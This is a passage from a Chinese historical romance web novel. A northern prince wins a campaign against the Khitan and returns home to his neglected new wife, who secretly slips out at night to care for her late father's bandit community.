为了压服这群倚老卖老的军将，魏珩不但风里来雨里去，领兵亲征，下场杀敌，后背覆满纵横交错的刀疤箭伤，更是亲自拉那些父亲重用过的老将下马，提拔年轻士卒上位，培植新锐，以削弱旧将根基。 待军中安定后，魏珩又开始布局千秋帝业。 魏珩深知那位远在南廷的皇帝叔叔一心想夺回北地势力，若他割据北境，按兵不动，定是坐以待毙，早晚有一日会死在永昌帝的手中。 可魏珩冒进南下，又很可能被塞外虎视眈眈的契丹王庭侵入边城，伺机咬下一块血肉。 魏珩若想逐鹿中原，势必要先攘外再安内，免得日后腹背受敌，满盘皆输。 因此，在魏珩挥师南下，与永昌帝展开内战之前，他率先动用了一部分安.插.进契丹王庭多年的汉将细作，恶意挑拨契丹皇帝麾下的斡鲁朵骑军队伍，让那些野蛮的胡人与多年来一直获得优待的受降汉将生出嫌隙，频频内斗，从而滥杀将领。 汉将受欺，护不住麾下兵马。 他们在契丹王庭没了活路，又见魏珩厚待降将，心一横竟率士卒三千，重归北境。 十一月中旬，魏珩调动麾下旧部，随着这些熟识契丹军政的汉将，杀向藏匿草原深处的五部大族。 契丹人被打了个措手不及。 时值隆冬，粮食匮乏，塞外胡人本就想集结兵马，深入中原劫掠，哪知魏珩不按常理出牌，竟在他们囤积粮草准备开战的紧要时刻，发动突袭。 胡人准备不足，自是被魏珩打得节节败退，溃不成军。 几大部族为保族人牲畜，被迫后撤千里，退回草原腹地的王庭皇城。 此战大捷，魏珩见好就收，没有劳师远征，乘胜追击，以免浪费兵力。 但魏珩此战的骁勇，也足以令老可汗耶律辛心生警惕，不敢贸然入侵边城。 鏖战结束。 魏珩的寒光甲胄如浸血浴，在汹涌的战火映照下，涌动着油润的光泽。他的乌浓发丝也被那些血肉碎屑粘缠，黏连嶙峋喉骨，如同一条附着雪峰的漆黑山涧，远远瞧去，着实阴森可怖。 魏珩微微眯起冷目，远眺那些燃着汹涌烈火的营帐，判断局势。 他确定战事已平，顺手扬去剑上艳血，高声道：“军中诸将、医工听令！先救治伤员，再收拢溃兵，其余人随江老将军一同收缴敌营粮秣、辎重甲械，午时之前务必撤军，将粮车押回军营，不得延误恋战！违者杖刑五十，可明白？！” “末将明白！”王府的旧部家臣跟着魏珩南征北战数年，早知小王爷运筹帷幄，自不会阳奉阴违，贻误大局。 魏珩交代完战后诸事，又有江阳峰帮着领兵，便策马赶回檀州关外的军营休整养伤。 魏珩在外厮杀一场，足足几日不曾合眼，这般熬夜鏖战，就是铁打的人也撑不住。 他连夜回营，沐浴换衣，洗去通体血污，倒头就睡。 不等魏珩睡足时辰，夜半三更，他倏地嗅到了一味若有似无的牡丹浓香。 这是闺阁女子所用的香料，闻起来腻人得很，令人不快。 魏珩自梦中醒来，凤眸一瞥，居然看到帐外有个鬼祟徘徊的娇小身影。 魏珩的眉峰微蹙，信手抽出一柄削铁如泥的宝石匕首，以迅雷不及掩耳之势，朝那一抹漆黑的影子，猛掷而去！ 匕首锋利，淬着夺目骇人的寒芒，径直破开羊皮帐篷，直刺入那一具血肉之躯。 一声凄厉惨烈的尖叫过后，一蓬腥浓的血液，就此泼上帐布，看着触目惊心。 魏珩闻声，脸色更沉，他利落地穿衣系带，阔步走出主帐。 十一月的北道，寒风凛冽，冰天雪地。 一名娇弱的胡女捂住不断渗血的肩头，抬起一双盈盈含泪的美目，用蹩脚的汉话唤着：“王、王爷息怒，奴名唤瑶姬，奉白将军的命令，前来服侍您。” 魏珩凉凉勾唇：“白宏南？” 白宏南正是前段时日领兵归降的汉将。 瑶姬连连点头：“正、正是……” 瑶姬是这两天受俘归降的女奴，她本为二王子的宠姬，因一张脸生得月貌花容，被入帐收缴军资的白宏南将军留下，献到主帐，意图让此女随军，侍奉魏珩。 她听说过这位北境亲王的威名，亦知魏珩兵马强盛，实为北道的无冕之王，可比那个麾下只有一千兵马，两千牛羊的二王子能耐多了。 若她有机会讨好这位北地霸主，日后岂不是吃香喝辣，能过上令人艳羡的富贵日子？ 虽说魏珩瞧着幽冷，城府亦深不可测，让人无端端联想到绿洲里最阴毒的蛇……可他生得俊美无俦，伺候他总比伺候五官丑陋的二王子要好上千倍万倍。 瑶姬有意蛊惑魏珩，她故意趴伏雪地，勾下那一条缠在颈上的银珠带子，露出一片玉雪肩头。 瑶姬哭得我见犹怜，手指颤巍巍地示弱，爬向魏珩垂地的玄黑外袍，“王爷，你刺得奴好疼啊……” 不等她勾出魏珩怜香惜玉的心思，一只黑靴蓦然踩上那一把刺进她肩头的匕首。 魏珩足下用力，抵着刀柄，故意往下压了几分。 哧。 锐刃又破肉入骨，沉没一寸，顿时鲜血横流。 瑶姬被剧烈的痛感淹没，鼻尖也冒出了无数热汗。 这是活生生用刀子凌迟肉身，可比在二王子帐中挨鞭子要疼。 瑶姬惶恐不安，所有求饶卖乖的话语，统统窒闷喉头。 她难以置信地仰头，望向面前这个倨傲抬脚的可怖男人，娇弱求饶：“王、王爷……” 可魏珩无动于衷，他的力道半点不松。 瑶姬挨得越近，魏珩越是抬腿将她推远。 男人的目光清冷，不含情.欲，他不过将瑶姬当成一片随手可弃的枯叶，一撮不引人注意的尘埃，连一记多余的眼神都不会施与。 瑶姬匍匐于魏珩靴前，终是明白了他的冷漠无情，亦知自己触了魏珩的逆鳞。 她不敢再使坏勾人，牙关打颤，涕泪横流地道：“是、是奴僭越了，奴错了，您不要杀我……” 魏珩不悦地低头，看着那点溅上整洁衣袍的血星子，冷道：“趁我还未起杀心……滚！” “是……”瑶姬生怕被魏珩扒皮抽筋，又哪里还敢逗留，男人前脚刚松开，后脚她便屁滚尿流跑回了白宏南的帐篷，再不敢来魏珩的帐前搔首弄姿。 魏珩被人惊扰，没有睡够，心中不满。 他想：这些叛主的汉将果真留不得，在外好的不学，成天想着用耍滑手段媚主……看来得寻个机会将其斩草除根，免得日后惹出大祸。 天色灰蒙，魏珩不过睡了三个时辰。 他想回帐补觉，转身的瞬息，又莫名记起了一味经久不散的女子香。 不是瑶姬身上那股子催人作呕的牡丹气息。 而是山桃的野性果子香。 口味甜津津的，腻得发慌。 自沈青棠的小衣里徐徐渡来，萦绕他的鼻端…… 魏珩记起来了，他娶了妻，且在新婚夜将人抛下，一连二十多天没有回府。 正经夫妻，一月至少也要同宿三日。 这是王府的规矩，亦是魏珩给予沈青棠的体面。 魏珩摁了下青筋微跳的额角……他既娶了沈青棠，在他没有与她和离之前，合该以妻礼相待。 他得回府一趟。 思及此，魏珩给副官柳云舟留话：“本王回府两日，军中诸事，有劳你与江叔看顾一二。” 柳云舟连连摆手：“王爷说的什么话，下官身为粮官，本就该尽心竭力辅佐江老将军镇守军营，督理军务，不敢有失。” 魏珩颔首，他洗漱过后，又重新穿了一身鹿皮武袍，披上御风的黑毛狐氅，纵身上马，窜入茫茫无际的风雪夜里。 一路上，魏珩回想大婚夜的种种，心中渐生烦躁。 沈青棠独守空闺这么多天，她会不会心生怨怼，故意摆脸色给他瞧？ 魏珩最厌女子啼哭……可沈青棠长于乡野，不谙世事，若她执意扯着他的衣袖落泪，他怕是会忍不住出手，将她丢出府外。 - 沈青棠是十一月初成的婚，如今二十多天过去，再有几日便是冬至。 冬至要办亚岁宴，要宴请北境四州的宾客来府上吃席，此等要紧的大事，姜氏自然全权负责，不会让新媳妇插手。 为了专心置办家宴，姜氏甚至免去了沈青棠的晨昏定省。 但姜氏忽然这么好心，并非怜惜沈青棠，实在是她太能站了。 一般高门里头出来的小娘子，站着伺候婆母一个时辰，就得累得哭爹喊娘，腰酸背痛。 可偏偏沈青棠没事人似的，一连站上三两个时辰也面不改色。 甚至还会盯着姜氏吃喝，随口问几句—— “母亲，那一碗洒满桂花蜜的甜汤是什么？” “母亲，这鸡汤熬得还挺好，一点油花不见，闻起来真香。” “母亲，这梨子怎么还能炖鸭呢？吃起来滋味好吧？” 但凡姜氏回答一句话，沈青棠就能露出一脸艳羡的可怜表情，对她悲伤叹气：“儿媳从未吃过呢，府上伙食真好啊……” 姜氏哪里见过眼皮底子浅到连一碗甜汤都馋嘴的小姑娘？ 此言一出，即便姜氏再尖酸刻薄，也得在沈青棠伺候完早膳后，给她装上几碗汤盅带回寒香院。 一来二去，姜氏回过味来。 这哪里是她摆着婆婆的架子，给沈青棠立规矩，分明是给了儿媳妇一个登门骗吃骗喝的机会！ 姜氏无计可施，私下问刘妈妈：“我怎么觉得……这丫头还挺乐意早起来望山堂请安的？每日站两三个时辰，她也吃得消？” “乡下人每日天没亮就得下地务农，王妃乡下出身，皮糙肉厚，自然和咱们闺阁养出来的淑女娘子不一样。” 刘妈妈想了许久，又支支吾吾地道，“上回我去寒香院催人，还听王妃和秀珠那丫头说呢，说什么杏酪官燕就别备了，她上太妃的院子里吃两口就是了，还说太妃院子里的燕窝，比公厨熬煮出来的还要滑嫩软糯，好吃得很。” “废话！这可是白燕产出的燕盏，乃宫中的贡品，千金难求，每月也就送来那么十多盏，我见她一副没见过世面的样子，自然匀她一份，可不给她吃美了？！” 姜氏气得倒仰，连连抚动胸口消气。 敢情人家半点没觉委屈，还成日上她的望山堂打秋风来了！这连吃带拿的，占尽了姜氏的便宜！ 姜氏想到几日后还得置办家宴，肉疼地摆手：“罢了罢了，你去传我的话，就说这几日免了晨昏定省，让她老实待在屋里抄经，少来我跟前碍眼。” 刘妈妈帮着捶肩，附和道：“嗳，太妃明智，咱们不和乡下丫头一般见识。” - 沈青棠不必早起请安，乐得逍遥自在。 虽说望山堂那一盏红枣莲子燕窝汤的确好喝，可天寒地冻，她也更想在屋里头待着，少出去吹风受冻。 这天早上，沈青棠刚撩开暖意盎然的床帐，秀珠便抱着一根画轴，欢喜地钻进了屋子。 “王妃，您快起来，瞧瞧奴婢给您带什么来了！” 这些时日，沈青棠一旦从望山堂回来，就会将她带来的糕点汤品送来给秀珠品尝，早把小丫鬟贿赂得忠心耿耿，一门心思倒戈自家王妃。 沈青棠还仗义，吃不完的早膳拿出去分食，上至一等丫鬟秀珠，下至寒香院后罩房里的橘皮野猫都能分到一杯羹，自然收买了人心。 众人私下议论这位王妃的时候，再没有从前那般刻薄尖酸，偶尔还会帮沈青棠打抱不平，慨叹一句——“你瞧，自打新婚夜后，王爷再没回府。俏生生的小娘子独守空房，实在可怜……王妃也不容易。” 沈青棠洗漱穿衣，摊开秀珠抱来的画轴，欢喜一笑：“是我要的九九消寒图，秀珠你办事真牢靠！” 沈青棠把那一卷九九消寒图摊开，小心翼翼挂到临窗的墙上。 图上绘着一枝枝繁叶茂的梅花树，共有八十一片梅花瓣儿。冬至起，每过一日，就用胭脂涂抹花瓣，为其上色，如此捱过八十一天，梅花画满绯色，寒气渐消的暖春就来临了。 少时，沈父每年外出办事，将沈青棠留在寨子里守候。 临走之前，沈父都会外出顶风冒雪，买一卷九九消寒图，挂在黄泥堆砌的石墙，作为沈青棠的礼物。 “爹爹要出门办事，给咱们青青挣钱买糖吃。青青乖，你跟着许婆婆在家里等爹爹回来，好不好？等青青涂满这些梅花瓣儿，爹爹就到家了。” 沈青棠曾经以为，沈父外出匪寨，是像镇子里的年轻后生那样出去做活，赚钱养家。 直到父亲回家，次次带伤，还将一些衣衫褴褛的流民接回寨中，沈青棠才明白，原是每逢冬日，契丹王庭会集结兵马，入关扰边，烧杀劫掠。 沈父在护送商队回城的途中，也常常帮着边民百姓组建的杂兵队伍，一同御敌护城。 由于沈父御敌有功，赵王时常会派下银钱嘉奖这些草莽英雄，沈父带回家的钱财，便是由此得来的。 沈父接济的流民越来越多，匪寨的人数也从数十人变成了数百人。 在沈青棠眼中，那一座隐居山林的山寨，说是野蛮猖獗的匪寨，其实更像是一群无家可归、食不果腹的流民，为了生存，互相取暖，自发修葺筑造的一处乐土家园。 …… 沈青棠望着那一幅空落落的梅花图，指尖捏着一只装满嫣红脂膏的胭脂瓷盒，落寞地想：可父亲死了，她没有家了。无论她怎么涂满这一卷九九消寒图，她的爹爹都不会回来了。 5、第五章 第五章 这几日，赵王府筹办亚岁宴，忙得不可开交。 多年来，姜氏一直私下与亡故的嫡姐攀比，她为了掩盖庶女出身，证明自己是当之无愧的王府女主子，每逢待客的宴席，都会牟足了劲筹备，也好得北道世家大妇们一句“善司中馈、内治有方”的夸赞。 王府前厅喜气洋洋，奴仆们折下红梅、松柏枝子，插上盆景，点缀待客的厅堂；再往花厅的青砖铺上一层厚厚的绵羊地衣，“羊”通“阳”，如此便能取一句“三阳开泰”的吉祥话，为王府迎阳纳福。 前院忙碌，自然忽视了后院。 好几次，公灶的厨子做菜的手脚慢了，端到寒香院的饭菜都变得温凉，鸡汤也浮了一层油星子，还得秀珠自己端炉子加热，方能摆到花厅的桌上，供沈青棠食用。 送膳的扫洒丫鬟阿秋嘟囔：“秀珠姐姐，隆冬天寒，王妃成日吃冷食，万一伤着脾胃怎么办？” 饭菜都是用的上等食材，熬汤的火候也很好。 只是冬天最忌冷食，冷食入肚容易不克化，有伤脾胃，怕是会吃坏肚子。 这是宅门里的软刀子，偏偏主人家还拿那些仆妇们没办法。 可这等阴私手段也好解决，只要给公灶那头送点“孝敬油水”，人家自然殷殷勤勤帮你办妥，保管你顿顿都能吃上热腾腾的饭菜。 奈何沈青棠是乡下农女，手头紧，不懂这些高门大院的规矩，拿不出贿赂送食仆妇的打赏。 加之她不得魏珩宠爱，又遭婆母嫌弃，自然连个帮她出头的人都没有。 秀珠想到魏珩在外忙碌，已经二十多天没回寒香院，不免忧心忡忡……倘若沈青棠能有个傍身的子嗣就好了，有子女撑腰，在王府扎下根，那些吃里扒外的刁奴就不敢这样怠慢王妃。 秀珠为沈青棠的前途担忧，可沈青棠却喜欢这种“被人冷待”的日子，夜里换衣爬墙出府，也就没那么多双眼睛盯着她。 深夜时分，沈青棠谎称睡下，实则穿好一身夜行衣，攀上墙沿，自后院那棵伸到墙外的柿子树，跃出府外。 沈青棠草草换过外衫，又把藏衣的包袱藏到王府后巷，随后钻进市井街巷，租了一匹快马，直奔远郊荒山。 山中雪淞垂枝，呵气成霜。 沈青棠远远看到几处屋舍，脸上的笑容渐盛。 她翻身下马，跺了跺冻僵的脚，快步上前，拍动紧闭的门板，“许婆婆，是我，青青！” 片刻，屋内掌灯，瞎了一只眼的许婆婆拉开房门，看到满头覆雪的傻丫头，眼眶顿时红了，“青青，你怎么来了？” 许婆婆心疼地拉小姑娘进门，又伸出枯槁的手，上上下下摸她的眉眼，帮她扫去那些湿泞泞的霜雪。 沈青棠知道婆婆患有雀目，夜里看不清，只能用干瘪瘪的手指，一遍遍触摸她的颊骨，也好知道她胖了瘦了，日子过得好不好。 沈青棠一面任许婆婆捏脸，一面抱怨：“不是给您买了一箱子白蜡吗？怎么舍不得用？夜里熬坏了眼睛可怎么办？” 沈青棠知道，许婆婆节俭，舍不得花销，直接给她钱，她定会一分一厘攒起来，因此每次来探望许婆婆，沈青棠都是直接带东西，不是御寒的冬衣、被衾，就是照明的白蜡、菜籽油。 许婆婆知她脸颊柔软，还长了肉，心中欢喜，想来赵王府的饭食很好，将小丫头养得白白胖胖。 沈青棠还没来得及说话，屋里头便传来一声疑惑的嗓音：“青青姐？” 很快，帘布挑起，一名身穿青色长衫的清俊少年，掌着烛灯，走向沈青棠。 这是许婆婆的孙子许砚，也是和沈青棠自小一起长大的邻家弟弟。 沈青棠眼睛一亮，笑着喊：“阿砚？你这两天没在书院念书？” 许砚：“再有两日是冬至，山长允学子们回家住几天。” 许婆婆见孙子出来，笑道：“你们姐弟两人叙旧，阿婆去熬一锅鸡汤，也好给你们两个娃娃补身子。” 沈青棠：“婆婆，你那只母鸡不是留着下蛋么？怎好宰了炖汤？” “哎呦，你别管了，就当是给阿砚补补，一并坐下吃吧！”许婆婆的性子拧得很，她执意要招待沈青棠，便不允小姑娘推拒。 沈青棠没有再说什么，左不过一只老母鸡，宰了再买便是，老人家舍不得吃大鱼大肉，连个鸡蛋都要省下给小辈们吃，今晚杀鸡还能哄许婆婆喝点鸡汤。 许婆婆去院子抓鸡，屋内仅剩下沈青棠、许砚二人。 许砚比沈青棠小上一岁，少时又生得瘦小，性子内向腼腆，在寨子里常被同龄人欺负，一直是沈青棠罩着他长大的。 沈青棠许久不见许砚，稀奇地打量他两眼，又打开随身携带的包袱，从中拿出一包枣糕，递过去：“阿砚，我记得你爱吃枣泥制的糕点，快尝尝。这可是王府的点心，就是放了一日，糯米皮子变硬，咬起来费牙。” 许砚食不知味，他忍了一会儿，问沈青棠：“青青姐……你如今在王府的日子好吗？” 沈青棠大婚那天，许砚在外读书，没能参宴，可那些喜饼、喜蛋、糖塔，他还是吃着了。 赵王府出手阔绰，装喜饼的箱子都是用鸡翅木打的，还给沈家的旧故亲朋们送去百来抬饴糖糕饼。 沈青棠掰开枣糕，递给许砚一半，“我过得很好啊！你知道的，小王爷生得高大威猛，英俊潇洒，还学富五车，是北道世家女子的梦中情人，能嫁给这样一号人物，我能过得不好吗？” 沈青棠无意多聊魏珩，她打哈哈跳过话题，又语重心长地问：“阿砚，你日常花销的银子够吗？今年的束脩交了吗？许叔生前叮嘱你要好好读书，你可不能辜负许叔的期望，咱们是山匪出身，素来被人瞧不起，可读书人不一样，走出门都能抬得起头，也受人倚重……” 许叔是沈父的左膀右臂，此前在抗戎的御敌之战中受伤，不治身亡。 临死前，许叔拉过许砚，叮嘱他定要去书院读书，应举赴试，考取功名。 即便读书读不出个名堂，多识一些字也是好的，还能上铺子里给人当账房先生。 许砚垂下眼睛：“青青姐，我想从戎……” 北道战事频繁，武将升官最快。 许砚深知，沈父之所以将沈青棠嫁到王府，也是怕她孤身在外，世上无人能护她。 若是许砚早日独当一面，那他就能护住沈青棠了。 闻言，沈青棠蹙紧柳眉：“不可，你忘记许叔是怎么死的？许家唯有你这么一条血脉，你可不能犯浑。你听话，乖乖读书入仕，考个功名，若是考上秀才，日后还能去书院应聘先生，帮稚童开蒙。即便没考上，也有旁的出路，做账房先生啊，给人写信抄经，哪样都比下地务农轻松……” 沈青棠其实很想成全许砚，只是她到底不是许砚的亲姐姐，越俎代庖管教许砚，只怕许叔在地底下都不能瞑目，夜里会托梦骂她。 今夜又是不欢而散，许砚抱着一盅鸡汤，负气回了书院。 屋里头，许婆婆和沈青棠坐着闲聊。 许婆婆把锅里的鸡腿夹给沈青棠，沈青棠投桃报李，知道许婆婆爱吃下水，也把软嫩的鸡肝、鸡心，夹到了许婆婆的碗里。 沈父疼爱孩子，阿婆也关照小辈，从小到大，只要寨子里哪户人家炖鸡，锅里的一只鸡腿总会留给沈青棠。 看着碗里的那只鸡腿，沈青棠想到了父亲。 “婆婆，我带了二百两银子，你拿去分给张婶子、赵婆婆他们……我记得王叔的腿疾未愈，每年都会犯病吧？你让他别省那些药钱，治好了腿疾才是正经。” 这些叔叔伯伯都是陪她父亲出生入死的兄弟，如今沈父离世，沈青棠自然要学着沈父的模样，担起山寨少主的职责，照看这些匪寨的妇孺老人。 “这才十一月，雪就这般大了，等腊月还不知要如何冷。柴薪炭火不要省，被褥冬衣也买一些，快过年了，孩子们总得吃口饴糖吧？钱花完了还能再赚，不要苦着小孩子嘛。” 许婆婆叹气：“青青，你虽嫁到王府，可那些大户人家向来看不起庶民百姓，我听说府上门道多，还得打点丫鬟婆子，才能有好日子过，你的手里还是得留点银钱，莫要傻乎乎的全给了我们。” 许婆婆心疼沈青棠，不过是个十七八岁的小姑娘，何必担起养寨子的职责。 况且，他们都是一群半身入土的老人，糙米腌菜就能度日，哪里要米肉厚衾这般精养。 为难了小娃娃，倒教沈青棠手头拮据，让夫家看不起。 沈青棠知道许婆婆一心为自己打算，她抹了抹眼角的泪花，笑说：“能养着婆婆叔婶，我心里高兴呢。爹爹不在了，身边也就只有婆婆们了。而且王府没什么妯娌，每个月还派下二百两的月钱，花都花不完。实在没钱，我也不会送来，婆婆且放心吧。” …… 探望完许婆婆，沈青棠又去了一趟沈父的坟丘。 沈青棠给沈父带了几块挑拣出来的肥美鸡肉、一壶烧酒，她盘腿坐在坟前，笑着抱怨：“爹爹，你的命好短啊，要是你还活着就好了。这样一来，我在外受欺负了，也能有个回去的地方……” 沈青棠的笑容渐渐落下去，她瘪着嘴，像个无论如何哭闹都讨不到糖果的小姑娘：“爹爹，青青想你了。” 沈青棠赶回王府的时候，已是夜半三更。 本该万籁俱寂的王府，不知为何竟亮起一重重火光，公灶燃起白烟，竟还有仆妇在里头烧水，远处隐隐传来隆隆的马蹄声。 这般盛大的阵仗，沈青棠再傻也知，是魏珩回府了！ 他都外出一个月，怎么忽然想到回府了？ 沈青棠大惊失色，她忙翻墙入院，钻进那一扇支起透风的雕花窗户。 而此时，房门外嘈杂，男人凛冽迫人的嗓音骤然响起——“王妃已经睡下了？” 秀珠见到王爷回府，声音难掩激动：“是……王妃睡得早，每每戌时就睡下了。” 说完，秀珠又觉得机会难得，她有意帮沈青棠邀宠，还叹气道：“王妃惦念王爷在外辛劳，时常与奴婢们提及王爷，有时还会望着军所的方向出神，只盼着王爷能平安回府。” 闻言，魏珩轻扯了下唇角，微微一哂。 说得倒不像假话，要是沈青棠不喜他，也不会新婚夜胆大妄为拉着他的衣袖，央着他行房。 到底是魏珩理亏，冷待新妻，还是前去探望沈青棠一番较好。 而屋内的沈青棠，被秀珠一番话吓出了一身冷汗。 天爷，她什么时候盼着魏珩回府了？！ 可重点不是这个，重点是沈青棠身上的夜行服未褪，她的寝裙还在屏风上挂着，根本来不及更换。 想到这里，沈青棠面如死灰，久久无言。 魏珩的脚步声渐近，催命符似的，敲在人的心上。 沈青棠冷汗直冒，她心一横，直接拔去簪发的竹骨簪子，任凌乱发丝披散双肩，再褪去身上的男子衣袍，塞到罗帐中。 自此，她的身上仅剩下一件单薄的裹腹小衣。 偏偏魏珩的步履渐近，沈青棠无奈，只能赶在魏珩进屋之前，匆匆忙忙钻进锦被。 待魏珩迈开长腿，掌灯入内，便见沈青棠乌发披身，卷着被衾，龟缩床榻一角。 “王、王爷……” 烛台爆花，发出刺啦一声锐响。 沈青棠也娇软抬头，怯怯唤他一声，嗓音里带着做贼心虚的颤。 沈青棠生怕魏珩发现那一身沾了泥的夜行衣，也怕他从她的脸上瞧出什么外出的端倪，不敢看他的眼睛。 可沈青棠不知的是，魏珩从未想过一个胆怯的乡下小姑娘，能胆大妄为到出府闲逛。 他低眸瞥去一眼。 只见沈青棠不知做了什么，呼吸急促，气喘吁吁。 身上的雪水被屋内热气儿消融，蓄成了一串串晶莹剔透的水珠。发丝沾了雨露，湿淋淋地黏在颈侧，像几条蜷身的黑蛇。 女孩的衣袍尽褪，寝裙也挂在屏风。 她的双肩赤.裸，没有穿着外衫。 丰腴的肩头，因跑马太累，泛起红润的桃色，还染着涟涟水光。 这一副“含羞带臊”的娇态，很难不引人遐想，生出误会…… 魏珩薄唇微抿，他微微眯起幽冷的凤眸，明白自己撞破了何事。 沈青棠胆大妄为，她竟敢背着人，在屋中低吟他的名字，取他的玄色衣袍嗅闻…… 以此抚慰，聊解相思之苦。 魏珩掠去一眼，眼风凛冽。 如此轻佻放荡，不成体统。 到底是明媒正娶的王妃，魏珩给沈青棠留了几分颜面。 “我去沐浴换衣，夜里留宿于此。” 魏珩顿了顿，又凉飕飕地道，“沈青棠，我不喜床榻脏污……记得收拾干净。” 6、第六章 第六章 待魏珩走出寝房，那种如山倾覆的压迫感才消散无踪。 沈青棠颓下紧绷的肩背，松开紧攥的被衾，掌心沁满一片温热湿汗。 沈青棠不敢有片刻耽搁，她匆匆忙忙下榻，把那些脏污的窄袖黑袍塞进包袱，压到箱笼最底下，再取出一套干净簇新的水天碧被罩床单，重新替换上拔步床。 许是沈青棠做贼心虚，一时之间竟忘记喊秀珠进屋帮忙，等秀珠送来败火的枸杞梨汤，沈青棠已经整理好了寝具。 沈青棠没有留丫鬟守夜的习惯，平日都让秀珠回自个儿院子睡。 可今晚魏珩回府，寒香院需要奴仆留在相邻的暖阁值房，也好方便主人家叫水送膳。 沈青棠从秀珠揶揄的神情里，看懂了她的殷殷期盼。 秀珠不止一次旁敲侧击，暗示沈青棠一定要把握机会，生下一男半女，在赵王府站稳脚跟。 就连罗嬷嬷也常常带着郎中过来给沈青棠诊脉，盼着她调养身子，早日为赵王府开枝散叶。 正所谓“小别胜新婚”，魏珩旷了近乎一月，保不准今晚小夫妻会多多亲热，自然要留人在外守着，以防主子叫水擦身又寻不到人。 沈青棠从前在寨子里养过牛羊，深知家畜配.种之法，要选发.情的秋季，还要选体壮的公羊……魏珩这头种羊离栏这般久，好不容易回一趟家，可不得使劲儿薅点好处？ 沈青棠对怀胎生子一事倒不抵触，她既嫁给魏珩，便有这样的准备，她也喜欢孩子，想要有一个血脉相连的家人。 沈青棠害怕魏珩，无非是他房事上粗暴狂放，一点都不温柔。 沈青棠借着屋里留的浴桶，潦草擦身，换过一件熏过香的粉桃抱枝纹菱形小衣肚兜，再穿上姚黄寝裙，将自己裹得严严实实，钻进罗帐。 沈青棠躺在床榻的里侧，拉高那条镶了一圈雪白狐毛的柔软绸衾，掩在尖尖下巴，只露出一张檀红小嘴、一点琼鼻、一双汪亮的圆眼，像极了既娇又媚的山狐狸。 一刻钟后，魏珩回房。 拉开房门的瞬间，沈青棠嗅到一味沉涩清幽的雪松气息。 冷冽的香气使人神清目明，待香气渐近，沈青棠才知，这是魏珩袖腕渡来的雅香。 这个人连那一味“多年熏染、浸透肌骨”的体香都这般寒戾，极具骇人的强烈攻击性。 沈青棠抬眸望去，正巧迎上了魏珩那双不善的冷目。 她打了个哆嗦，像是柔弱的山兽遇到精明的猎人一般，本能生出深切的敬畏。 她不敢看他的眼睛，刻意避开，可视线朝下，又看到了不该看的东西…… 魏珩明明是在外驰骋沙场的武夫，偏偏皮肤白如温玉，一点没有晒黑，如今洗过身子，胸膛沾了一重丰盈水丝，又泛着莹润如蜜的光泽，如暖玉一般，很是诱人。 他好似不喜拢住衣襟，大大方方地敞开，袒露那一片凝水的坚实腹肌。 沈青棠算半个习武之人，她很擅长弓马，会点拳法，也知这样块垒分明的肌理，光是担石举鼎可练不出来。 沈青棠的脑袋发懵，下意识数了数，不知他有六块还是八块腹肌。 总之有那么一部分，被扎紧了的亵裤遮掩严实，只能透过裤线，影影绰绰看到一些沟壑分明的肌理线条。 而魏珩长身玉立，凌乱发尾的水珠未曾擦干，沿着胸膛不住滴落，渗入雪色的寝裤，如同饱蘸墨汁的丹青峰峦，将最底下那处又勾勒出一点血脉偾张的起势。 除了腹肌，竟还有其他事物。 新婚夜里，沈青棠与魏珩敦伦，尝过人事，只消一眼便知道那是何物。 有棱有角的，和避火图上绘的不大一样。尺寸太惊人了些，难怪令她这般畏惧。 “你在看什么？”魏珩的嗓音冰冷，一双深邃寒目凝于沈青棠脸上，带着耐人寻味的审视。他的语气实在称不上好，甚至有怪罪沈青棠冒昧的意思在内。 “没、没什么……”沈青棠心惊胆战，急忙垂眼摇头，不敢肆意招惹魏珩。 沈青棠乖乖往床榻里侧挪，给魏珩让了一个空位。 没一会儿，被衾掀开，床铺下陷，那股浓烈的雪松气息渐渐逼近，是魏珩躺到了沈青棠的身边。 这是沈青棠头一次与旁人同床共枕，她有点不适应，全身紧绷，不敢动弹。 可她越紧张，听觉便愈发敏锐，甚至能听到魏珩清晰的呼吸声，以及细微的衣布摩挲声。 沈青棠满脑子胡思乱想，手指紧绞，她以为魏珩会兽.性大发，拿她解.欲，如同新婚夜一般。 可他一动不动，只闭目养神，浑身散发着拒人于千里之外的疏离淡漠，好似一尊不容人亵渎的神像，倒让沈青棠颇为奇怪。 难不成，他也知道自己那日太过凶恶，令她不喜？ 沈青棠没想明白，便也作罢。 既然魏珩夜里不欲行房，沈青棠也打算睡下了。 只是沈青棠夜里跑马吹风，刚要睡着，嗓子眼莫名发痒，催得她轻轻咳嗽一声。 沈青棠不想吵到魏珩休息，她伸手捂嘴，抑住了那点骚动。 可咳嗽越忍越烈，即便手掌作隔，还是咳得沈青棠胸腔嗡嗡作响，眼眶含泪。 仿佛为了让魏珩得一夜好眠，小姑娘忍辱负重，受了天大的委屈。 魏珩听得心烦意乱，睁开一双寒目，凉声道：“喝水润喉。” 沈青棠也知自己吵到夫婿休息，不敢再犟，她顺从地爬起身，跨过魏珩，摸黑下地找水喝。 沈青棠端起解燥的梨汤，润过喉咙。 咳嗽声渐消。 她感到舒适许多，再度爬回榻上。 沈青棠没有和男人同床共枕的经验，亦不知魏珩的膝腿这般修长健硕，硬得跟石头似的。 上床时，她一时眼拙没看清，竟不慎磕碰到魏珩，被他一绊，就此滑跪到他的身上。 “嘶……”沈青棠手足无措。 倒下的瞬间，她的唇齿擦过魏珩的下颌，抵住了他的脖颈。 月光透入窗扉，满地都是粼粼银光。 魏珩的颈子皮肉泛起象牙般的雪白光泽，薄肤底下滚着一颗犹如玉珠子似的坚硬喉结。 那一枚喉骨软肋，此时正受制于人，被沈青棠微张的红唇，抿入其中。 这是沈青棠第一次与男子亲密接触…… 她从未吻过，或是触碰过男人。 就连上次新婚夜，她的唇瓣也没有舔.吮过魏珩，只是咬着自己的手掌，竭力承受那点冲犯，再将整张脸都埋进厚厚实实的被褥之中。 可现在……魏珩的命脉就掌控在她的口中。 沈青棠虚虚含着那半枚喉结，没敢下嘴撕咬，这般张着嘴，反倒让齿根泛酸，好似衔着一颗涩口酸梅，舌底的唾津都要被他酸得翻涌上来，充斥唇腔。 气氛既暧昧又旖旎。 沈青棠不生淫.欲，满脑子唯有那天对于新婚夜的愤懑…… 她甚至觉得自己抓住了最好的复仇时机，能趁此机会装傻一番，报复魏珩。 沈青棠其实不算那么良善，她一贯秉持着“人不犯我我不犯人”的原则，是魏珩先欺负她的，那她欺负回来当然合情合理。 思及至此，沈青棠故意恶念深重地下嘴，用齿关既轻又重地磨了下。 不过一点触碰，竟惹得魏珩鼻息顷刻窒住，眼中暗潮汹涌，风雨欲来。 